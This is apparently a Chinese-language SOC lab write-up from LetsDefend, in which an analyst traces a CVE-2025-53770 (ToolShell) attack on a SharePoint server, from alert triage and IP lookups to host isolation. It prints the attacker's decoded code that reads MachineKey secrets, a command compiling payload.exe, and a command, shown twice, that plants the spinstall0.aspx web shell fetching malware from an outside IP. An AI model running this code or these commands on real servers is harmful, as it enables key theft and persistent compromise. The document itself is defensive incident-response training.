逐步演练在LetsDefend实验室中利用CVE-2025-53770 (ToolShell),涵盖RCE、Web Shell部署和事件响应分析。
TL;DR 嘿,在这个 LetsDefend 实验室中,我深入研究了名为 ToolShell 的 SharePoint 零日漏洞(CVE-2025-53770)。简而言之,我模拟了一次真实的攻击:恶意 POST 请求绕过认证,运行 PowerShell 窃取 MachineKeySection 密钥,编译 payload.exe,并植入 Web shell(spinstall0.aspx)。我记录了所有内容,分析了行为,并隔离了主机。本文档涵盖了攻击过程、我的操作步骤以及经验教训。
实验室概览
使用的工具:
Windows PowerShell
VirusTotal
AbuseIPDB
LetsDefend 日志管理
LetsDefend 端点安全
LetsDefend 威胁情报


EventID : 320
Event Time : Jul, 22, 2025, 01:07 PM
Rule : SOC342 - CVE‑2025‑53770 SharePoint ToolShell 认证绕过与 RCE
Level : 安全分析师
Hostname : SharePoint01
Source IP Address : 107.191.58.76
Destination IP Address : 172.16.20.17
HTTP Request Method : POST
Requested URL : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer : /_layouts/SignOut.aspx
Content-Length : 7699
Alert Trigger Reason : 可疑的未经认证的 POST 请求,目标为 ToolPane.aspx,载荷较大,Referer 被伪造,表明存在 CVE-2025-53770 漏洞利用。
Device Action : 允许
概述 2025 年 7 月 22 日,我们的安全监控系统标记了一次针对本地 SharePoint 服务器实例 SharePoint01 的严重零日攻击。
CVE 详情:
CISA KEV 目录:条目发布于 2025 年 7 月 20 日
攻击向量:向 /ToolPane.aspx 端点发送 POST 请求,伪造 Referer 头,携带大型恶意载荷
来源:IP 107.191.58.76,Vultr Holdings, LLC,美国
关于 SharePoint Microsoft SharePoint 是企业协作和文档管理的核心支柱。本质上它是一个安全、有序的类云空间,用于文件、工作流和内部应用。
核心用途:
文档管理:版本控制、审计跟踪、文件控制
协作:多用户同时编辑同一文档
内部门户:新闻、更新、人力资源信息、政策
自动化工作流:审批、表单、通知
集成:与 Teams、Outlook、Office 套件、Power BI 深度绑定
安全注意事项:
认证:AD 或 SSO
加密:静态和传输中数据
Web 部件与布局:若配置不当可被利用
补丁管理:对防止零日攻击至关重要
CVE-2025-53770,也称为 ToolShell,是一个在野被利用的 SharePoint 零日漏洞。它是本地 Microsoft SharePoint 服务器中的一个严重反序列化漏洞,允许未经认证的远程代码执行(RCE)。 它与其它 SharePoint 漏洞(CVE-2025-49704 和 CVE-2025-49706)链式利用,完全入侵系统。 其 CVSS 评分为 9.8,属于严重级别。
他们通过伪造 Referer 头,绕过认证,利用 ToolPane.aspx 端点上传恶意 Web shell,例如 spinstall0.aspx。
他们从 SharePoint 配置中提取关键的 MachineKey 值,以生成受信任的 ViewState 载荷,实现持久访问。
随后部署勒索软件(例如“Warlock”变种)或窃取凭证并设置后门。
首次公开披露:2025 年 7 月 19 日(微软博客)
补丁发布:2025 年 7 月 20-21 日
列入 CISA KEV 目录:2025 年 7 月 20 日
在 VirusTotal 上分析发送者 IP 地址(源 IP 地址)
Source IP Address : 107.191.58.76

由此我已知该 IP 是恶意的。
现在我需要借助 AbuseIPDB 查找该 IP 的地理位置

这是我得到的结果:
ISP Vultr Holdings, LLC
Usage Type - 数据中心/Web 主机/传输
ASN - AS20473
主机名 - 107.191.58.76.vultrusercontent.com
域名 - vultr.com
国家 - 美国
城市 - 加利福尼亚州洛杉矶
该 IP 已知用于黑客攻击、暴力破解、Web 应用攻击、端口扫描、DNS 投毒
作为初级分析师解决此问题 我的处理方式 首先,我在终端安全中搜索名为 "SharePoint01" 的主机。

找到主机后,我查看终端历史记录,发现了一条命令行

这条命令在做什么?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ 直接从系统目录启动 PowerShell。
-nop
→ 无配置文件——忽略 PowerShell 配置文件脚本以避免检测或干扰。
-w hidden
→ 以隐藏窗口运行,用户看不到。
-e
让我们解码这个:
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
步骤 1:侦察与载荷捕获
捕获到针对 /ToolPane.aspx 的 POST 请求:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
方法:向 /ToolPane.aspx 发送 POST 请求,绕过认证
载荷:大型、混淆的 Base64 编码 PowerShell 脚本
Referer 头:伪造以隐藏来源
步骤 2:执行与利用:
我在 Base64 解码器中解码了脚本/载荷
用 base64 解码后得到:
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

让我解释一下上述脚本的作用:
它导入了:
-System.Diagnostics
-System.IO
然后运行一个在 PowerShell 内的 C# 内联脚本,该脚本:
-加载 System.Web 程序集
-访问 System.Web.Configuration.MachineKeySection
-从机器的 web.config 中检索验证和解密密钥
-然后将它们写入响应,很可能被攻击者窃取
攻击者接下来发送了这条命令:
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
-csc.exe - 一个带有 .NET 框架的 C# 编译器
-然后指示编译器将 "payload.exe" 保存到主机上
这个载荷可能是一个恶意软件
攻击者的下一条命令行:
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
它的作用:
"C:\Windows\System32\cmd.exe" /c -
在命令提示符中运行以下命令,然后终止。
echo <form runat=\"server\"> ... </form>-
写入一小段 ASP.NET 标记,将在 SharePoint 服务器上运行。
该标记包含:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> -
此 CLSID 是 Shell ActiveX 控件(用于在 IE/COM 上下文中运行 shell 命令或执行特殊操作)。
<param name="Command" value="Redirect"> -
告诉对象要执行什么动作。
<param name="Url" value="http://107.191.58.76/payload.exe"> -
指向托管在远程服务器上的恶意 EXE - 很可能就是他们的实际恶意软件。
攻击者的下一条命令行:
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
再次说明它的作用:
"C:\Windows\System32\cmd.exe" /c -
在命令提示符中运行以下命令,然后终止。
echo <form runat=\"server\"> ... </form> -
写入一小段 ASP.NET 标记,将在 SharePoint 服务器上运行。
并且
该标记包含:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
此 CLSID 是 Shell ActiveX 控件(用于在 IE/COM 上下文中运行 shell 命令或执行特殊操作)。
<param name="Command" value="Redirect">-
告诉对象要执行什么动作。
<param name="Url" value="http://107.191.58.76/payload.exe"> -
指向托管在远程服务器上的恶意 EXE - 很可能就是他们的实际恶意软件。
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx -
将整个恶意 HTML/ASP.NET 对象保存为 spinstall0.aspx,位于 SharePoint 的 layouts 文件夹中。
此文件夹中的任何内容都可以通过浏览 SharePoint 站点上的正确 URL 访问,这意味着攻击者现在在你的服务器上拥有了一个触发恶意操作的网页。
我发现的命令行如下:


确认这是有风险的之后,我继续探索该主机上的进程。
看起来很可疑,充满了大量的文件路径和 exe 文件。
出于好奇,我进入日志管理,在日志中搜索了恶意 IP。
看到一条原始日志,包含一个 POST 请求:
Referer 为 - /_layouts/SignOut.aspx
我接着检查了攻击是否成功。
你知道吗?它成功了,所以现在我必须进行隔离,交给 SOC2 处理。
这是我的分析师笔记:
我们发现了一次严重的攻击,利用了一个名为 ToolShell(CVE-2025-53770)的零日漏洞,目标是一台名为 SharePoint01 的本地 SharePoint 服务器。攻击者来自一个已知的恶意 IP(107.191.58.76),向 SharePoint 端点(ToolPane.aspx)发送了一个未经认证的 POST 请求,携带巨大载荷,绕过认证以在服务器上远程执行代码。
深入调查后,攻击者运行了隐藏的 PowerShell 命令,解码 base64 脚本以窃取敏感的 SharePoint MachineKey 值,从而能够构造受信任的载荷。他们在主机上编译了一个恶意可执行文件,然后在 SharePoint 的 layouts 文件夹中植入了一个 Web shell(spinstall0.aspx),该 shell 会从他们的服务器下载并运行恶意软件,提供持久的后门访问权限。
确认入侵后,我们隔离了受影响的主机,并建议立即安装补丁,因为修复补丁就在几天前发布。我们还在扫描其他 Web shell,监控是否有勒索软件或数据窃取行为,并建议加强对 SharePoint 服务器的安全防护,以防进一步损害。
给团队的笔记:
团队注意: 大家好,我们在 SharePoint 服务器(SharePoint01)上检测到了 ToolShell 零日漏洞(CVE-2025-53770)的严重利用。攻击者使用未经认证的 POST 请求绕过认证并执行远程代码,首先针对 ToolPane.aspx 发送了大型可疑载荷。
攻击者运行隐藏的 PowerShell 命令窃取敏感的 SharePoint 机器密钥,然后在系统上编译并投放了恶意可执行文件。他们还在 SharePoint layouts 文件夹中创建了一个 Web shell(spinstall0.aspx),该 shell 从外部服务器下载并运行恶意软件,可能赋予他们持久控制权。
我们已经隔离了受损主机,并建议紧急安装补丁,因为补丁刚发布不久。我们还在扫描类似的 Web shell,并监控是否有勒索软件或数据泄露的迹象。请大家保持警惕,今后加强 SharePoint 的安全防护。
这是我的结果
